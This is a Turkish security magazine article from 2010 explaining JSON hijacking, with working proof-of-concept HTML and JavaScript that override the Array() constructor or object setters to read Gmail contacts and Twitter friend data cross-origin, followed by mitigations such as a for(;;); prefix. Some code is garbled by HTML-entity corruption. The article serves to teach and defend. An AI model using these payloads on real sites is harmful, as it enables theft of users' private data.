JSON Korsanlığı

Mesut Timur, Şubat 2010, WGT E-Dergi 4. Sayı

İnternetin gün geçtikçe hayatımızdaki önemi arttı ve web siteleri milyonlarca insan tarafından girilen yerler haline geldi. Artık çevremizden ya da medyadan tanıdığımız bir çok insanın Facebook, LinkedIn ve Twitter hesabı mevcut.

Bu gelişme beraberinde web teknolojilerinde de bir çok gelişmeyi tetikledi ve daha dinamik, kullanıcı ile etkileşimi daha üst düzeyde tutan teknolojiler ön plana çıktı. Tüm bunlar web2.0 konsepti altında bir araya getirildi. Bu teknolojilerin başında da AJAX gelmektedir.

AJAX, web2.0 konseptindeki web sitelerinde kullanılan, olmazsa olmaz bir teknolojidir.

0x01 : AJAX Nedir ?

Wikipedia 'dan aldığımız tanım şu şekildedir:

AJAX (İngilizce:Asynchronous JavaScript and XML), İnternet sayfalarında JavaScript ve XMLHttpRequest kullanımı ile etkileşimli uygulamalar yaratan tekniğin adıdır.

Biraz daha açacak olursak, internet sayfalarında kullanılan bu teknik üzerinde çalıştığı tarayıcının Javascript motorunu (*XMLHttpRequest*) kullanarak başka kaynaklar ile iletişim kurar, veri alır ve/veya gönderebilir.

AJAX programlama tekniğini kullanırken ön tanımlı veri aktarım dili XML'dir. Lakin JSON isimli veri formatı Javascript ile çalışırken programmatik avantajlar sağladığından tercih sebebidir.

0x02 : Sorun Nereden Başlıyor ?

Farklı alan adları ile Javascript motorunun etkileşimi tarayıcı güvenliğinin her daim önemli konularından biri olmuştur. XMLHTTPRequest objesi ile farklı bir alan adına HTTP isteği yapıp cevabı görmek pratik atak şansları yarattığı için günümüz tarayıcılarında mümkün değildir. Fakat HTML motoru ile farklı alan adlarına istek yapmak mümkün olabilmektedir.

```
<script src=http://www.xyz.com/resource.js type="text/javascript" />
```

Bu HTML kodu, hangi alan adının konteksinde çalışırsa çalışsın, ilgili adresteki kaynağa erişebilecektir. Söz konusu istek tarayıcı tarafından yapılacağı için, uzaktaki kaynağa tarayıcı üzerindeki kimlik bilgileri (çerezler vs.) ile erişilecektir.

0x03 : JSON Hijacking

JSON Korsanlığı 2006 yılından beri bilinmekte olan bir problemdir ve Firefox 3.5.7, IE 8.0 üzerinde artık bulunmamakta, Chrome'da ise ikinci teknik hala çalışmaktadır.

Burada iki yaklaşımdan bahsedeceğim:

1. Array() constructor'ını yeniden yazmak.
2. Objenin setter'ını yeniden yazmak.

Constructor'ı Yeniden Yazmak

Karşı kaynaktan gelecek olan JSON verisinin ilklendirilmesi (initizalition) için Javascript motoru Array() constructor'unu çağırır ve ilklendirme işlemini bitirir. Javascript dilinde, Array() constructor'ının üzerine yazılması sonucu veriye erişim mümkündür. Kendinize yeni bir Array() constructor'u yazarak hassas veriyi elde edebilirsiniz. Artık bir çok modern tarayıcıda Array() constructor'u yeniden yazılamamaktadır.

Söz konusu zafiyet 2006 yılında Gmail üzerinde bulunmuştur[1]. Aşağıdaki Javascript kodu ile kurban kullanıcının (bu HTML sayfasını görüntüleyen kullanıcı) kontakt bilgilerini çalmak mümkündü.

```
<script src="http://mail.google.com/mail/?_url_scrubbed_">

var table = document.createElement('table');

table.id = 'content';

table.cellPadding = 3;

table.cellSpacing = 1;

table.border = 0;

function Array() {

var obj = this;

var ind = 0;

var getNext;

getNext = function(x) {

obj[ind++] setter = getNext;

if(x) {

var str = x.toString();

if ((str != 'ct') &&amp;amp;amp;amp; (typeof x != 'object') && (str.match(/@/))) {

var row = table.insertRow(-1);

var td = row.insertCell(-1);

td.innerHTML = str;
```

```
}

}

};

this[ind++] setter = getNext;

}

function readGMail() {

document.body.appendChild(table);

}
```

Kodda da görüldüğü üzere ilk satırda kontakt bilgileri sayfanın konteksine eklenmiş, Array() constructor'u yeniden yazılarak erişim sağlanmış ve ilgili kontakt bilgileri ekrana bastırılmıştır.

Nesnenin Setter'ini Yeniden Yazmak

Nesneye dayalı programlama felsefesinde bir sınıfa ait her özelliğin bir adet Getter ve Setter'ı vardır. Getter özelliğin değerini döndürürken, setter özelliğe değer atamaya yarar.

Söz konusu uzak nesneye erişmenin diğer bir yolu ise nesnenin setter'ini yeniden yazmaktır.

Diyelim ki söz konusu JSON verisi şu şekilde olsun:

```
[{"name":"Mesut", "email":"mesut@h-labs.org" },

{"name":"Bedirhan","email":"urgunb@hotmail.com" },

{"name":"Ferruh", "email":"ferruh@mavituna.com" }]
```

Burada JSON verisine erişmek için "name" ve "email" objelerinin setter'lari yeniden yazılmalıdır. Şu şekilde yapılabilir:

```
<html>

<head>

</head>

<body>

<script type="text/javascript">

Object.prototype.__defineSetter__('name', function(obj){alert(obj);});

</script>
```

```
<script src="http://www.xyz.com/important.json" type="text/javascript">

</script>

<h1>hello everybody</h1>

</body>

</html>
```

Yukarıdaki HTML kodun altıncı satırında 'name' objesinin setter'i için inline bir fonksiyon yazılıyor ve o fonksiyon gelen veriyi ekrana basıyor. Sekizinci satırda ise JSON datası getiriliyor ve Javascript motoru, bizim tanımladığımız setter 'ı çağırıyor.

Bu teknik Chrome 4.0.249.89 ile çalışmaktadır.

2009 yılında bu teknik ile Twitter üzerinde zafiyet tespit edilmiştir[2]. İlgili zafiyetin PoC'si şu şekildedir:

```
<script>

  Object.prototype.__defineSetter__('user',function(obj){for(var i in obj) {alert(i + '=' +
obj[i]);} });

</script>

<script src=https://twitter.com/statuses/friends_timeline/>

</script>
```

0x04 : Risk & Çözümler

Yazının yukarıdaki bölümlerinde de belirtildiği üzere Array() constructor'ını yeniden yazmak Chrome 4.0.249.89 , Firefox 3.5.7 ve IE 8.0 ile mümkün değildir. Nesnenin setter'ini yeniden yazmak ise sadece Chrome 4.0.249.89 üzerinde çalışmaktadır. Bu durumda bu atak vektörü için sadece Chrome kullanan istemciler tehlike altındadır.

JSON Korsanlığı'nı önlemek için farklı çözüm önerileri mevcuttur. Popüler bir çözüm önerisi JSON verisinin önüne sonsuz bir döngü koymaktır.

```
for(;;);

[{"name":"Mesut", "email":"mesut[at]h-labs.org" },

{"name":"Bedirhan","email":"urgunb[at]hotmail.com" },

{"name":"Ferruh", "email":"ferruh[at]mavituna.com" }]
```

Saldırgan bu veriyi kedi sayfasına eklemeye çalışınca, setter çalışmadan önce sonsuz döngüye girecek ve veriye ulaşamayacaktır.

Bu veriyi kullanacak kod ise, öncelikli olarak XMLHttpRequest objesi ile bu verinin içeriğini getirmeli ve ilk satırı sildikten sonra eval() fonksiyonuna yollayarak çalışmasını sağlamalıdır.

Diğer bir çözüm önerisi de veriyi JSON değil ama ona yakın bir formatta tutmak. Zira yapılabilecek ufak değişiklikler ile JSON'a çevirip tekrar JSON'un programmatik avantajlarından faydalanılabilir.

XMLHTTPRequest nesnesinin farklı alan adları ile etkileşimindeki limitasyonun faydasını tekrar anlıyoruz.

0x05 : Hikayenin Devamı

Önümüzdeki yazıda Javascript Korsanlığı ile konuyu devam ettireceğim.

0x06 : Referanslar

[1] http://jeremiahgrossman.blogspot.com/2006/01/advanced-web-attack-techniques-using.html

[2] http://www.thespanner.co.uk/2009/01/07/i-know-what-your-friends-did-last-summer/